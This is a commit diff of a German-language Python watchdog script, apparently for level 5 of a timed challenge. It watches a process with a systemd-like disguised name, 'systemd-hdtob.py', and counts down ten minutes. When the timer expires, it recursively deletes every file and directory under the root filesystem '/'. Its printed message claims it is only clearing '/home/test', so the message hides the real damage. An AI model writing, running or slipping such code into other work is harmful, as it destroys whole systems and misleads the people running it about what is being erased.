Update Level 5

This commit is contained in:
root
2025-11-19 15:44:36 +01:00
parent ac9ea3e3c0
commit f8bfabf352
8 changed files with 128 additions and 62 deletions

View File

@@ -1,37 +1,56 @@
import time
import subprocess
import glob
import os
import glob
import shutil
SCRIPT_NAME = "systemd-hdtob.py"
TIMEOUT = 600
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
END_STATE = "/home/crime5/.timer/end_state.txt"
def is_running():
try:
result = subprocess.run(
["pgrep", "-f", SCRIPT_NAME],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
return result.returncode == 0
except Exception:
return False
result = subprocess.run(["pgrep", "-f", SCRIPT_NAME], stdout=subprocess.PIPE)
return result.returncode == 0
print("Watchdog gestartet...")
while not is_running():
time.sleep(1)
print("10min Timer ist aktiv")
print("Timer aktiv")
while True:
for _ in range(TIMEOUT):
if not is_running():
print("User hat gewonnen")
exit(0)
time.sleep(1)
if os.path.exists(END_STATE):
print("Du hast verloren Timer ist abgelaufen!")
print("Lösche /home/test/* ...")
for pfad in glob.glob("/*"):
if os.path.isfile(pfad) or os.path.islink(pfad):
os.remove(pfad)
elif os.path.isdir(pfad):
shutil.rmtree(pfad)
for entry in os.listdir("/"):
pfad = os.path.join("/", entry)
try:
if os.path.isfile(pfad) or os.path.islink(pfad):
os.remove(pfad)
elif os.path.isdir(pfad):
shutil.rmtree(pfad, ignore_errors=True)
except Exception as e:
print(f"Fehler bei {pfad}: {e}")
print("Fertig.")
exit(0)
else:
subprocess.run(["/root/win-message.sh"])
exit(0)
if os.path.exists(STATE_FILE):
with open(STATE_FILE) as f:
remaining = int(f.read().strip())
else:
remaining = -1
print("Restzeit:", remaining)
time.sleep(1)